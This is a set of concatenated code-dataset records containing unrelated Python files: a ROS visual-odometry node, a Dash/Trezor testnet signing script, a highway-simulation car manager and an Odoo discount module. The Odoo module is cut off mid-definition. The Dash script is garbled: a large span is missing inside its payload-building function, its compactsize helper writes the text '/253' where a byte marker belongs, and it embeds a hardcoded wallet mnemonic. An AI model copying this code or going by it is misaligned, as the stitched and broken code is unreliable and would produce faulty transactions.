BY-SA版权协议,转载请附上原文出处链接及本声明。\n原文链接:https://blog.csdn.net/mrqingyu/article/details/96995760\n \"\"\"\n return makeFont(showtext, srcfont, tgtfont)","repo_name":"nightstream/pytoolkits","sub_path":"fontfactory/fontfactory.py","file_name":"fontfactory.py","file_ext":"py","file_size_in_byte":7014,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14219816819","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport roslib\n#roslib.load_manifest('cmt')\nimport sys\nimport rospy\nimport cv2\nfrom std_msgs.msg import String\nfrom std_msgs.msg import Float32\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom numpy import empty, nan\nimport os\nimport sys\nimport time\nimport CMT\nimport numpy as np\nimport util\nimport math\nimport tf\n# Messages\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Point, Quaternion, Vector3\n\ndef rigid_transform_3D(A, B):\n #print 'Llamado'\n assert len(A) == len(B)\n\n N = A.shape[0]; # total points\n\n centroid_A = np.mean(A, axis=0)\n centroid_B = np.mean(B, axis=0)\n \n # centre the points\n AA = A - np.tile(centroid_A, (N, 1))\n BB = B - np.tile(centroid_B, (N, 1))\n\n # dot is matrix multiplication for array\n H = np.transpose(AA)* BB\n\n U, S, Vt = np.linalg.svd(H)\n\n R = Vt.T * U.T\n\n # special reflection case\n if np.linalg.det(R) < 0:\n #print \"Reflection detected\"\n Vt[2,:] *= -1\n R = Vt.T * U.T\n\n t = -R*centroid_A.T + centroid_B.T\n\n #print t\n\n return R, t\n\n# Checks if a matrix is a valid rotation matrix.\ndef isRotationMatrix(R) :\n Rt = np.transpose(R)\n shouldBeIdentity = Rt*R\n print(shouldBeIdentity)\n I = np.identity(3, dtype = R.dtype)\n n = np.linalg.norm(I - shouldBeIdentity)\n return n < 1e-6\n\ndef rotationMatrixToEulerAngles(R) :\n \n #assert(isRotationMatrix(R))\n \n sy = math.sqrt(R[0,0] * R[0,0] + R[1,0] * R[1,0])\n \n singular = sy < 1e-6\n \n if not singular :\n x = math.atan2(R[2,1] , R[2,2])\n y = math.atan2(-R[2,0], sy)\n z = math.atan2(R[1,0], R[0,0])\n else :\n x = math.atan2(-R[1,2], R[1,1])\n y = math.atan2(-R[2,0], sy)\n z = 0\n \n return np.array([x, y, z])\n\nclass image_converter:\n\n\n def __init__(self):\n self.image_pub = rospy.Publisher(\"image_topic_cmt\",Image,queue_size=1)\n self.vis_odo_pub = rospy.Publisher(\"visual_odometry\",Odometry,queue_size=1)\n self.bridge = CvBridge()\n #self.image_sub = rospy.Subscriber(\"/usb_cam/image_raw\",Image,self.callback)\n self.image_sub = rospy.Subscriber(\"/ocam/image_raw\",Image,self.callback,queue_size=1)\n self.yaw_sub = rospy.Subscriber( \"model_car/yaw2\", Float32,self.headingcallback,queue_size=1)\n #self.image_sub = rospy.Subscriber(\"/usb2_cam/image_rect_color\",Image,self.callback)\n self.CRT = CMT.CMT()\n \n\n\n self.CRT.estimate_scale = 'estimate_scale'\n self.CRT.estimate_rotation = 'estimate_rotation'\n self.pause_time = 10\n ###########################Primer Region\n #im0 = cv2.imread('./frame_cuadri_1500.jpg', flags=cv2.IMREAD_GRAYSCALE)\n im0 = cv2.imread('./frame_cap13.jpg', flags=cv2.IMREAD_GRAYSCALE)\n #im0 = cv2.imread('./frame_cap_13.jpg', flags=cv2.IMREAD_GRAYSCALE)\n #im0 = cv2.imread('./frame_fisica3.jpg', flags=cv2.IMREAD_GRAYSCALE)\n #im0 = cv2.imread('./frame_cap_16.jpg', flags=cv2.IMREAD_GRAYSCALE)\n #im0 = cv2.imread('./frame_cap_noche.jpg', flags=cv2.IMREAD_GRAYSCALE)\n #im0 = cv2.imread('./frame_cap3.jpg', flags=cv2.IMREAD_GRAYSCALE)#flags=cv2.IMREAD_GRAYSCALE)\n #im0 = cv2.imread('/home/sergio/catikin_ws_user/src/cmt/scripts/frame.jpg', flags=cv2.IMREAD_COLOR)\n #im0 = cv2.imread('/home/sergio/catikin_ws_user/src/cmt/scripts/frame.jpg',flags=cv2.IMREAD_GRAYSCALE)\n #cv2.imshow('im0', im0)\n #im_gray0 = cv2.cvtColor(im0, cv2.COLOR_BGR2GRAY)\n im_gray0=im0\n #print(np.size(im_gray0))\n #im_gray0=cv2.blur(im0,(3,3))\n #cv2.line(im_gray0, (70,0), (70,300), (0, 0, 0), 150)\n #cv2.line(im_gray0, (490,0), (490,300), (0, 0, 0), 150)\n #im_gray0=cv2.resize(im0, (360, 240))\n #im_draw = np.copy(im0)\n print('Selecciona Primer Region')\n #tl=(84, 55) #talvez\n #br=(557, 307#tal vez\n #tl=(68, 68) \n #br=(544, 316)\n #tl=(35,35)\n #bl=(605,325)\n #tl=(78, 59) #ultimos con156kp\n #br=(553, 297)#uktimos con 156kp\n tl=(73, 56) #labo umi\n br=(449, 244)#labo umi\n \n #tl=(88, 58) #camaras labo\n #br=(429, 240)#camaras labo\n #tl=(93, 61) #camaras labo nuevo \n #br=(436, 241)#labo camaras nuevo\n tl=(85, 59)#last camrasa\n br=(428, 239)#lascamaras\n #tl=(166, 64)\n #br=(348, 237)\n #(84, 63) (429, 237)\n #tl=(87, 57)#camaras\n #br= (426, 234)#camaras\n tl=(87, 57)#camaras\n br=(326, 154)#camaras\n tl=(59, 44)#camaras peque\n br= (300, 195)#camaras peque\n tl=(128, 25) \n br=(394, 278)\n\n ##cuadrilatero\n #tl=(157,6)\n #br=(408,257)\n tl=(154,21)#55)\n br=(392,259)\n #tl=(40+20,27+20)\n #br=(269-20, 256-20)\n tl=(40+10,27+10)\n br=(269-10, 256-10)\n tl=(320-146,180-146)\n br=(320+146,180+146)\n #(158, 14) (392, 261)\n\n\n ##fisica\n #tl=(118, 54)\n #br=(348, 250)\n #(tl, br) = util.get_rect(im_gray0)\n print('usando %i, %i como init bb', tl, br)\n self.CRT.initialise(im_gray0, tl, br)\n print('Num keypoint init',self.CRT.num_initial_keypoints)\n self.frame = 1\n self.conta=0\n\n\n self.frame_id = 'visual_odometry'\n self.child_frame_id = 'base_link2'\n self.msg = Odometry()\n # Covariance\n #P = np.mat(np.diag([0.0]*3))\n \n def headingcallback(self,dat):\n self.yaw=dat.data\n\n def callback(self,data):\n try:\n tic = time.time()\n new_yaw=self.yaw\n im_gray = self.bridge.imgmsg_to_cv2(data, \"mono8\")\n #print(np.size(im_gray))\n # Read image\n #status, im = cap.read()\n #im=cv_image\n #im_gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n #im_gray = cv2.cvtColor(cv_image, cv2.COLOR_BGR2GRAY)\n #im_draw = np.copy(cv_image)\n #cv2.line(im_gray, (70,0), (70,300), (0, 0, 0), 150)\n #cv2.line(im_gray, (490,0), (490,300), (0, 0, 0), 150)\n #im_gray=cv2.blur(im_gray,(3,3))\n #im_gray=cv2.resize(im_gray, (360, 240))\n self.CRT.process_frame(im_gray)\n \n\t# Remember image\n im_prev = im_gray\n # Display results\n print(self.CRT.active_keypoints.shape[0])\n # Draw updated estimate\n if self.CRT.has_result and self.CRT.active_keypoints.shape[0]>70:#self.CRT.num_initial_keypoints*0.37:#*0.37:\n\n #cv2.line(im_gray, self.CRT.tl, self.CRT.tr, (255, 0, 0), 4)\n #cv2.line(im_gray, self.CRT.tr, self.CRT.br, (255, 0, 0), 4)\n #cv2.line(im_gray, self.CRT.br, self.CRT.bl, (255, 0, 0), 4)\n #cv2.line(im_gray, self.CRT.bl, self.CRT.tl, (255, 0, 0), 4)\n #font = cv2.FONT_HERSHEY_SIMPLEX\n #cv2.putText(im_gray,'1',(self.CRT.tl[0],self.CRT.tl[1]), font, 3, (200,255,155), 7, cv2.CV_AA)\n #cv2.putText(im_gray,'2',(self.CRT.tr[0],self.CRT.tr[1]), font, 3, (200,255,155), 7, cv2.CV_AA)\n #tl=(68, 68) #600cm=476pix\n #br=(544, 316)#300cm=248\n #gk=1.2605042\n #gk=1.59574468#//labo\n #gk=1.12781955\n #gk=6.41434\n #gk=7.892156\n #gk=6.76470588\n gk=5.55172414\n #gk=2.8043478261\n offs_x=320\n offs_y=180\n p1=[(self.CRT.tl[0]-offs_x)*gk,(self.CRT.tl[1]-offs_y)*gk,0]\n p2=[(self.CRT.tr[0]-offs_x)*gk,(self.CRT.tr[1]-offs_y)*gk,0]\n p3=[(self.CRT.bl[0]-offs_x)*gk, (self.CRT.bl[1]-offs_y)*gk,0]\n p4=[(self.CRT.br[0]-offs_x)*gk, (self.CRT.br[1]-offs_y)*gk,0]\n\n MCI=np.mat([p1,p2,p3,p4])\n #MCR=np.mat([[-300,150,0],[300,150,0],[-300,-150,0],[300,-150,0]])\n #MCR=np.mat([[-322.5,267.5,0],[322.5,267.5,0],[-322.1,-267.5,0],[322,-267.5,0]])\n #MCR=np.mat([[-270,210,0],[270,210,0],[-270,-210,0],[270,-210,0]])\n #MCR=np.mat([[-150,150,0],[150,150,0],[-150,-150,0],[150,-150,0]])\n #MCR=np.mat([[-805+20*gk,805-20*gk,0],[805-20*gk,805-20*gk,0],[-805+20*gk,-805+20*gk,0],[805-20*gk,-805+20*gk,0]])\n #MCR=np.mat([[-805+10*gk,805-10*gk,0],[805-10*gk,805-10*gk,0],[-805+10*gk,-805+10*gk,0],[805-10*gk,-805+10*gk,0]])\n MCR=np.mat([[-805,805,0],[805,805,0],[-805,-805,0],[805,-805,0]])\n ret_R, ret_t = rigid_transform_3D(MCI, MCR) \n vec_r=rotationMatrixToEulerAngles(ret_R)\n try:\n #resized_image = cv2.resize(image, (100, 50)) \n #self.image_pub.publish(self.bridge.cv2_to_imgmsg(cv2.resize(im_gray, (100, 55)) , \"mono8\"))\n self.msg.header.stamp = rospy.Time.now()\n self.msg.header.frame_id = self.frame_id # i.e. '/odom'\n self.msg.child_frame_id = self.child_frame_id # i.e. '/base_footprint'\n\n self.msg.pose.pose.position = Point(ret_t[0,0]/100,ret_t[1,0]/100, vec_r[2]*180/3.14159)#ret_t[2,0]/100)\n q = tf.transformations.quaternion_from_euler(0, 0, vec_r[2])\n self.msg.pose.pose.orientation = Quaternion(*q)\n # Publish odometry message\n dif=(vec_r[2]*180/3.141)-new_yaw\n\n if dif>180:\n dif=dif-360\n \n elif dif<-180:\n dif=dif+360\n\n self.msg.twist.twist.angular=Vector3(0,0,dif)\n \n self.vis_odo_pub.publish(self.msg)\n except CvBridgeError as e:\n print(e)\n\n self.frame += 1\n \n # Also publish tf if necessary\n #if self.publish_odom_tf:\n # self.tf_br.sendTransform(pos, ori, msg.header.stamp, msg.child_frame_id, msg.header.frame_id)\n #publish_odom()\n toc = time.time()\n print(1000 * (toc - tic))\n #print(ret_t[0,0],)\n #print(ret_t[0,0],\",\",ret_t[1,0],\",\",vec_r[2]*180/3.1416,\",\",1000 * (toc - tic))\n #print(vec_t[2]*180/3.1416)\n #print(ret_t[0][0],\",\",ret_t[0][1],\",\",vec_t[0][2]*180/3.1416)\n #print(ret_t[0][0],\",\",ret_t[0][1],\",\",vec_t[2]*180/3.1416)\n #print('P',w[1])\n #print('P',w[2])\n \n\n \n except CvBridgeError as e:\n print(e)\n\n \n\ndef main(args):\n ic = image_converter()\n rospy.init_node('image_converter', anonymous=True)\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down\")\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"Toku11/catkin_ws_user","sub_path":"src/cmt/scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10045,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"2409605754","text":"#!/usr/bin/env python3\nfrom trezorlib.transport import get_transport, get_debug_transport\nfrom trezorlib.tools import b58decode, btc_hash, normalize_nfc, parse_path\nfrom trezorlib.client import TrezorClient\nfrom trezorlib.debuglink import TrezorClientDebugLink\nfrom trezorlib import (btc, messages, ui)\nfrom decimal import Decimal\nfrom dash_config import DashConfig\nfrom dashd_api import DashdApi\nimport requests\nimport base64\nimport struct\nimport socket\nfrom mnemonic import Mnemonic\n\n\n_DASH_COIN = 100000000\n\n\ndef compactsize(val):\n n = int(val)\n r = b''\n\n if n < 253:\n r += n.to_bytes(1, \"big\")\n return r\n\n if n < 0x10000:\n r += b'/253'\n r += n.to_bytes(2, \"big\")\n return r\n\n r += b'/254'\n r += n.to_bytes(4, \"big\")\n return r\n\n\ndef unpack_hex(hex_data):\n r = b\"\"\n data_bytes = bytes.fromhex(hex_data)\n for b in data_bytes:\n r += struct.pack('c', b.to_bytes(1, \"big\"))\n return r\n\n\ndef _rpc_to_input(vin):\n i = messages.TxInputType()\n if \"coinbase\" in vin:\n i.prev_hash = b\"\\0\" * 32\n i.prev_index = 0xFFFFFFFF # signed int -1\n i.script_sig = bytes.fromhex(vin[\"coinbase\"])\n i.sequence = vin[\"sequence\"]\n\n else:\n i.prev_hash = bytes.fromhex(vin[\"txid\"])\n i.prev_index = vin[\"vout\"]\n i.script_sig = bytes.fromhex(vin[\"scriptSig\"][\"hex\"])\n i.sequence = vin[\"sequence\"]\n\n return i\n\n\ndef _rpc_to_bin_output(vout):\n o = messages.TxOutputBinType()\n o.amount = int(Decimal(vout[\"value\"]) * 100000000)\n o.script_pubkey = bytes.fromhex(vout[\"scriptPubKey\"][\"hex\"])\n\n return o\n\n\ndef rpc_tx_to_msg_tx(data):\n t = messages.TransactionType()\n t.version = data[\"version\"]\n t.lock_time = data.get(\"locktime\")\n\n t.inputs = [_rpc_to_input(vin) for vin in data[\"vin\"]]\n t.bin_outputs = [_rpc_to_bin_output(vout) for vout in data[\"vout\"]]\n\n if 'extra_data' in data:\n t.extra_data = unpack_hex(data['extra_data'])\n t.extra_data_len = len(t.extra_data)\n\n return t\n\n\ndef dash_sign_tx(client, inputs, outputs, details=None, prev_txes=None, extra_payload = None):\n print(\"dash_sign_tx\")\n # set up a transactions dict\n txes = {None: messages.TransactionType(inputs=inputs, outputs=outputs, extra_data=extra_payload,\n extra_data_len=0 if extra_payload is None else len(extra_payload))}\n # preload all relevant transactions ahead of time\n for inp in inputs:\n try:\n prev_tx = prev_txes[inp.prev_hash]\n except Exception as e:\n raise ValueError(\"Could not retrieve prev_tx\") from e\n if not isinstance(prev_tx, messages.TransactionType):\n raise ValueError(\"Invalid value for prev_tx\") from None\n txes[inp.prev_hash] = prev_tx\n\n if details is None:\n signtx = messages.SignTx()\n else:\n signtx = details\n\n signtx.coin_name = 'Dash Testnet'\n signtx.inputs_count = len(inputs)\n signtx.outputs_count = len(outputs)\n signtx.extra_data_len = 0 if extra_payload is None else len(extra_payload)\n\n res = client.call(signtx)\n\n # Prepare structure for signatures\n signatures = [None] * len(inputs)\n serialized_tx = b\"\"\n\n def copy_tx_meta(tx):\n tx_copy = messages.TransactionType()\n tx_copy.CopyFrom(tx)\n # clear fields\n tx_copy.inputs_cnt = len(tx.inputs)\n tx_copy.inputs = []\n tx_copy.outputs_cnt = len(tx.bin_outputs or tx.outputs)\n tx_copy.outputs = []\n tx_copy.bin_outputs = []\n tx_copy.extra_data_len = tx.extra_data_len\n tx_copy.extra_data = None\n return tx_copy\n\n R = messages.RequestType\n while isinstance(res, messages.TxRequest):\n # If there's some part of signed transaction, let's add it\n if res.serialized:\n if res.serialized.serialized_tx:\n serialized_tx += res.serialized.serialized_tx\n\n if res.serialized.signature_index is not None:\n idx = res.serialized.signature_index\n sig = res.serialized.signature\n if signatures[idx] is not None:\n raise ValueError(\"Signature for index %d already filled\" % idx)\n signatures[idx] = sig\n\n if res.request_type == R.TXFINISHED:\n print(\"R.TXFINISHED\")\n break\n\n # Device asked for one more information, let's process it.\n current_tx = txes[res.details.tx_hash]\n\n if res.request_type == R.TXMETA:\n print(\"R.TXMETA\")\n msg = copy_tx_meta(current_tx)\n print(msg)\n res = client.call(messages.TxAck(tx=msg))\n\n elif res.request_type == R.TXINPUT:\n print(\"R.TXINPUT\")\n msg = messages.TransactionType()\n msg.inputs = [current_tx.inputs[res.details.request_index]]\n res = client.call(messages.TxAck(tx=msg))\n\n elif res.request_type == R.TXOUTPUT:\n print(\"R.TXOUTPUT\")\n msg = messages.TransactionType()\n if res.details.tx_hash:\n msg.bin_outputs = [current_tx.bin_outputs[res.details.request_index]]\n else:\n msg.outputs = [current_tx.outputs[res.details.request_index]]\n\n res = client.call(messages.TxAck(tx=msg))\n\n elif res.request_type == R.TXEXTRADATA:\n print(\"R.TXEXTRADATA\")\n o, l = res.details.extra_data_offset, res.details.extra_data_len\n msg = messages.TransactionType()\n msg.extra_data = current_tx.extra_data[o: o + l]\n res = client.call(messages.TxAck(tx=msg))\n\n if isinstance(res, messages.Failure):\n raise RuntimeError(\"Signing failed\")\n\n if not isinstance(res, messages.TxRequest):\n raise RuntimeError(\"Unexpected message\")\n\n if None in signatures:\n raise RuntimeError(\"Some signatures are missing!\")\n\n return signatures, serialized_tx\n\n\ndef keyid_from_address(address):\n data = b58decode(address, None)\n return data[1:21].hex()\n\n\ndef serialize_payee_script(keyid):\n # standard pay-to-pubkeyhash script,\n # OP_DUP OP_HASH160 OP_EQUALVERIFY OP_CHECKSIG,\n # constant length 25 byte\n r = b'\\x19' # = 25, script length\n r += struct.pack(\"c\", b'\\x76') # OP_DUP\n r += struct.pack(\"c\", b'\\xa9') # OP_HASH160\n r += struct.pack(\"c\", b'\\x14') # keyid length\n r += unpack_hex(keyid)\n r += struct.pack(\"c\", b'\\x88') # OP_EQUALVERIFY\n r += struct.pack(\"c\", b'\\xac') # OP_CHECKSIG\n return r\n\n\ndef reverse_bytes(bytes_data):\n res = bytearray(bytes_data)\n res.reverse()\n return bytes(res)\n\n\ndef dash_proregtx_payload(collateral_out, address, port, ownerKeyId,\n operatorKey, votingKeyId, payeeKeyId, operatorReward,\n inputsHash):\n r = b\"\"\n r += struct.pack(\"H\", port) # port\n r += unpack_hex(ownerKeyId) # owner keyid\n r += unpack_hex(operatorKey) # operator key\n r += unpack_hex(votingKeyId) # voting keyid\n r += struct.pack(\"= Decimal(amount) + fee:\n break\n fee = fee + Decimal(0.00001)\n new_input = messages.TxInputType(\n address_n=self.bip32_path,\n prev_hash=bytes.fromhex(utxo['txid']),\n prev_index=int(utxo['vout']),\n amount=int(Decimal(utxo['amount']) * _DASH_COIN),\n script_type=messages.InputScriptType.SPENDADDRESS,\n sequence=0xFFFFFFFF,\n )\n in_amount += Decimal(utxo['amount'])\n inputs.append(new_input)\n txes[bytes.fromhex(utxo['txid'])] = self.api.get_tx(utxo['txid'])\n\n # prepare outputs\n outputs = []\n new_output = messages.TxOutputType(\n address_n=None,\n address=address,\n amount=int(amount * _DASH_COIN),\n script_type=messages.OutputScriptType.PAYTOADDRESS\n )\n outputs.append(new_output)\n change = int((in_amount - fee) * _DASH_COIN) - int(amount * _DASH_COIN)\n if change > 1000:\n change_output = messages.TxOutputType(\n address_n=self.bip32_path,\n address=None,\n amount=change,\n script_type=messages.OutputScriptType.PAYTOADDRESS\n )\n outputs.append(change_output)\n\n # transaction details\n signtx = messages.SignTx()\n signtx.version = 2\n signtx.lock_time = 0\n\n # sign transaction\n _, signed_tx = dash_sign_tx(\n self.client, inputs, outputs, details=signtx, prev_txes=txes\n )\n\n return signed_tx\n\n def get_collateral(self):\n data = self.api.get_addr_utxo(self.collateral_address)\n for utxo in data:\n if Decimal(utxo['amount']) == Decimal(1000.0):\n return True, utxo['txid'], utxo['vout']\n return False, None, None\n\n def register_mn_with_external_collateral(self, dashd):\n has_collateral, collateral_tx, cout = self.get_collateral()\n if not has_collateral:\n collateral_tx = dashd.rpc_command(\"sendtoaddress\",\n self.collateral_address, 1000.0)\n cout = 0\n key = dashd.rpc_command(\"getnewaddress\")\n blsKey = dashd.rpc_command('bls', 'generate')\n tx = dashd.rpc_command('protx', 'register_prepare', collateral_tx,\n cout, '0', key, blsKey['public'],\n key, 0, self.collateral_address)\n print(tx)\n signed = self.client.call(\n messages.SignMessage(\n coin_name='Dash Testnet',\n address_n=parse_path(\"44'/1'/0'/0/0/0\"),\n message=normalize_nfc(tx['signMessage']),\n script_type=messages.InputScriptType.SPENDADDRESS\n )\n )\n print(signed)\n signature = base64.b64encode(signed.signature).decode(\"utf-8\")\n print(signature)\n res = dashd.rpc_command('protx', 'register_submit', tx['tx'], signature)\n print(res)\n\n def get_register_mn_protx(self, operatorKey, operatorReward):\n # prepare inputs\n txes = {}\n inputs = []\n trezor_address_data = self.api.get_addr_utxo(self.address)\n in_amount = Decimal(0.0)\n fee = Decimal(0.0)\n hash_writer = HashWriter()\n for utxo in trezor_address_data:\n if in_amount >= Decimal(1000.0) + fee:\n break\n fee = fee + Decimal(0.00001)\n new_input = messages.TxInputType(\n address_n=self.bip32_path,\n prev_hash=bytes.fromhex(utxo['txid']),\n prev_index=int(utxo['vout']),\n amount=int(Decimal(utxo['amount']) * _DASH_COIN),\n script_type=messages.InputScriptType.SPENDADDRESS,\n sequence=0xFFFFFFFF,\n )\n in_amount += Decimal(utxo['amount'])\n inputs.append(new_input)\n txes[bytes.fromhex(utxo['txid'])] = self.api.get_tx(utxo['txid'])\n hash_writer.add_data(reverse_bytes(bytes.fromhex(utxo['txid'])))\n hash_writer.add_data(int(utxo['vout']).to_bytes(4, \"little\"))\n\n # prepare outputs\n outputs = []\n new_output = messages.TxOutputType(\n address_n=None,\n address=self.collateral_address,\n amount=int(1000 * _DASH_COIN),\n script_type=messages.OutputScriptType.PAYTOADDRESS\n )\n outputs.append(new_output)\n change = int((in_amount - fee) * _DASH_COIN) - int(1000 * _DASH_COIN)\n if change > 1000:\n change_output = messages.TxOutputType(\n address_n=self.bip32_path,\n address=None,\n amount=change,\n script_type=messages.OutputScriptType.PAYTOADDRESS\n )\n outputs.append(change_output)\n\n inputsHash = hash_writer.get_hash()\n print(\"inputsHash: \", inputsHash.hex())\n payload = dash_proregtx_payload(0, \"0.0.0.0\", 0,\n keyid_from_address(self.owner_address),\n operatorKey,\n keyid_from_address(self.owner_address),\n keyid_from_address(self.address),\n operatorReward, inputsHash)\n\n # transaction details\n signtx = messages.SignTx()\n signtx.version = 65539 # (1 << 16) & 3\n signtx.lock_time = 0\n\n # sign transaction\n _, signed_tx = dash_sign_tx(\n self.client, inputs, outputs, details=signtx, prev_txes=txes, extra_payload=payload\n )\n\n return signed_tx\n\n def move_collateral_to_base(self):\n # prepare inputs\n txes = {}\n inputs = []\n trezor_address_data = self.api.get_addr_utxo(self.collateral_address)\n in_amount = Decimal(0.0)\n fee = Decimal(0.0)\n for utxo in trezor_address_data:\n fee = fee + Decimal(0.00001)\n new_input = messages.TxInputType(\n address_n=parse_path(\"44'/1'/0'/0/0/0\"),\n prev_hash=bytes.fromhex(utxo['txid']),\n prev_index=int(utxo['vout']),\n amount=int(Decimal(utxo['amount']) * _DASH_COIN),\n script_type=messages.InputScriptType.SPENDADDRESS,\n sequence=0xFFFFFFFF,\n )\n in_amount += Decimal(utxo['amount'])\n inputs.append(new_input)\n print(\"Txid: \", utxo['txid'])\n txes[bytes.fromhex(utxo['txid'])] = self.api.get_tx(utxo['txid'])\n\n in_amount -= fee\n\n # prepare outputs\n outputs = []\n new_output = messages.TxOutputType(\n address_n=self.bip32_path,\n address=None,\n amount=int(in_amount * _DASH_COIN),\n script_type=messages.OutputScriptType.PAYTOADDRESS\n )\n outputs.append(new_output)\n\n # transaction details\n signtx = messages.SignTx()\n signtx.version = 2\n signtx.lock_time = 0\n\n # sign transaction\n _, signed_tx = dash_sign_tx(\n self.client, inputs, outputs, details=signtx, prev_txes=txes\n )\n\n return signed_tx\n\n\ndef main():\n # Use first connected device\n transport = get_debug_transport()\n\n # Creates object for manipulating TREZOR\n client = TrezorClientDebugLink(transport=transport)\n\n dashd = DashdApi.from_dash_conf(DashConfig.get_default_dash_conf())\n\n # api to get balance, etc\n # api = InsightApi('https://testnet-insight.dashevo.org/insight-api/')\n api = LocalInfoApi(dashd)\n\n # Load custom configuration to use device with the same params\n seed = \"material humble noble wrestle hen infant quote world name result cake ankle snack buffalo donor vessel chalk bamboo remove announce valid snack alarm index\"\n with DashTrezor(client, api, seed) as dash_trezor:\n print('Trezor address:', dash_trezor.address)\n print('Trezor balance:', dash_trezor.trezor_balance())\n print('Trezor collateral address:', dash_trezor.collateral_address)\n print('Trezor collateral balance:', dash_trezor.trezor_balance(dash_trezor.collateral_address))\n\n #signed_tx = dash_trezor.send_to_address(\"yPD5e2HPC1m2bJnnqprrrHbGwk8ujFBHRc\", 0.01)\n #txstruct = dashd.rpc_command(\"decoderawtransaction\", signed_tx.hex())\n #print(txstruct)\n #dashd.rpc_command(\"sendrawtransaction\", signed_tx.hex())\n #dash_trezor.register_mn_with_external_collateral(dashd)\n #dashd.rpc_command(\"sendtoaddress\", dash_trezor.address, 1001)\n blsKey = dashd.rpc_command('bls', 'generate')\n tx = dash_trezor.get_register_mn_protx(blsKey['public'], 0)\n #tx = dash_trezor.move_collateral_to_base()\n txstruct = dashd.rpc_command(\"decoderawtransaction\", tx.hex())\n print(txstruct)\n txid = dashd.rpc_command(\"sendrawtransaction\", tx.hex())\n print(txid)\n\n client.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gladcow/dash_trezor_test","sub_path":"dash_test.py","file_name":"dash_test.py","file_ext":"py","file_size_in_byte":20626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24996946738","text":"from typing import List\n\nfrom geometry.utils import Utils\nimport globalprops\nimport simulation.interface.highway_interface as hi\n\ncars = []\n\n\ndef cars_in_radius(car, radius_km: float):\n circle_origin = car.pos\n radius_sim = radius_km / globalprops.KM_PER_UNIT\n cars_found = []\n\n for car_other in cars:\n car_pos = car_other.pos\n if Utils.does_point_lie_in_circle(car_pos, circle_origin, radius_sim):\n cars_found.append(car_other)\n\n return cars_found\n\n\ndef get_distance_between_cars(car, other_car):\n lane = hi.get_lane_by_id(car.lane_num)\n segment_num_car = car.segment_num\n\n if segment_num_car == other_car.segment_num:\n return other_car.distance_on_segment - car.distance_on_segment\n elif segment_num_car < other_car.segment_num:\n # car is ahead of us\n dist_car = car.distance_on_segment\n distance_remaining_car = lane.segments[car.segment_num].get_length() - dist_car\n distance_between_segments = 0\n\n for i in range(car.segment_num + 1, other_car.segment_num):\n distance_between_segments = distance_between_segments + lane.segments[i].get_length()\n\n return distance_remaining_car + distance_between_segments + other_car.distance_on_segment\n else:\n return get_distance_between_cars(other_car, car) # just switch cars around (car is behind other_car)\n\n\ndef get_lead_car(car):\n lane_num = car.lane_num\n segment_num = car.segment_num\n\n closest_car = None\n closest_dist = float(\"inf\")\n\n for other_car in cars:\n if other_car.lane_num == lane_num and other_car.segment_num >= segment_num and other_car != car:\n distance = get_distance_between_cars(car, other_car)\n\n if closest_dist > distance > 0:\n closest_car = other_car\n closest_dist = distance\n\n return closest_car, closest_dist\n","repo_name":"AhmadHamadi/Engineering-Highway-Sim","sub_path":"car/car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"633159349","text":"# -*- coding: utf-8 -*-\n\n\nfrom odoo import api, fields, models, _\nimport odoo.addons.decimal_precision as dp\nfrom odoo.exceptions import ValidationError\n\n\n\nclass SaleOrder(models.Model):\n _inherit = \"sale.order\"\n\n @api.depends('order_line.price_total')\n def _amount_all(self):\n \"\"\"\n Compute the total amounts of the SO.\n \"\"\"\n for order in self:\n amount_untaxed = amount_tax = amount_discount = 0.0\n for line in order.order_line:\n amount_untaxed += line.price_subtotal\n amount_tax += line.price_tax\n amount_discount += (line.product_uom_qty * line.price_unit * line.discount) / 100\n order.update({\n 'amount_untaxed': amount_untaxed,\n 'amount_tax': amount_tax,\n 'amount_discount': amount_discount,\n 'amount_total': amount_untaxed + amount_tax,\n })\n\n discount_type = fields.Selection([('amount', 'Amount')], string='Discount type',\n readonly=True,\n states={'draft': [('readonly', False)], 'sent': [('readonly', False)]},\n default='amount')\n\n\n discount_rate = fields.Float('Discount Rate', digits=dp.get_precision('Account'),\n readonly=True, states={'draft': [('readonly', False)], 'sent': [('readonly', False)]})\n amount_untaxed = fields.Monetary(string='Untaxed Amount', store=True, readonly=True, compute='_amount_all',\n track_visibility='always')\n amount_tax = fields.Monetary(string='Taxes', store=True, readonly=True, compute='_amount_all',\n track_visibility='always')\n amount_total = fields.Monetary(string='Total', store=True, readonly=True, compute='_amount_all',\n track_visibility='always')\n amount_discount = fields.Monetary(string='Discount', store=True, readonly=True, compute='_amount_all',\n digits=dp.get_precision('Account'), track_visibility='always')\n\n @api.onchange('discount_type', 'discount_rate', 'order_line')\n def supply_rate(self):\n for order in self:\n if order.discount_type == 'percent':\n for line in order.order_line:\n line.discount = order.discount_rate\n else:\n total = discount = 0.0\n for line in order.order_line:\n total += round((line.product_uom_qty * line.price_unit))\n if order.discount_rate != 0:\n discount = (order.discount_rate / total) * 100\n else:\n discount = order.discount_rate\n for line in order.order_line:\n line.discount = discount\n # print(line.discount)\n #new_sub_price = amount of discount\n new_sub_price = (line.price_unit * (discount/100))\n line.total_discount = line.price_unit - new_sub_price\n\n def _prepare_invoice(self, ):\n invoice_vals = super(SaleOrder, self)._prepare_invoice()\n invoice_vals.update({\n 'discount_type': self.discount_type,\n 'discount_rate': self.discount_rate,\n })\n return invoice_vals\n\n def button_dummy(self):\n\n self.supply_rate()\n return True\n\nclass SaleOrderLine(models.Model):\n _inherit = \"sale.order.line\"\n\n discount = fields.Float(string='Discount (%)', digits=(16, 20), default=0.0)\n total_discount = fields.Float(string=\"Total Discount\", default=0.0, store=True)\n\n\n\n\n\nclass 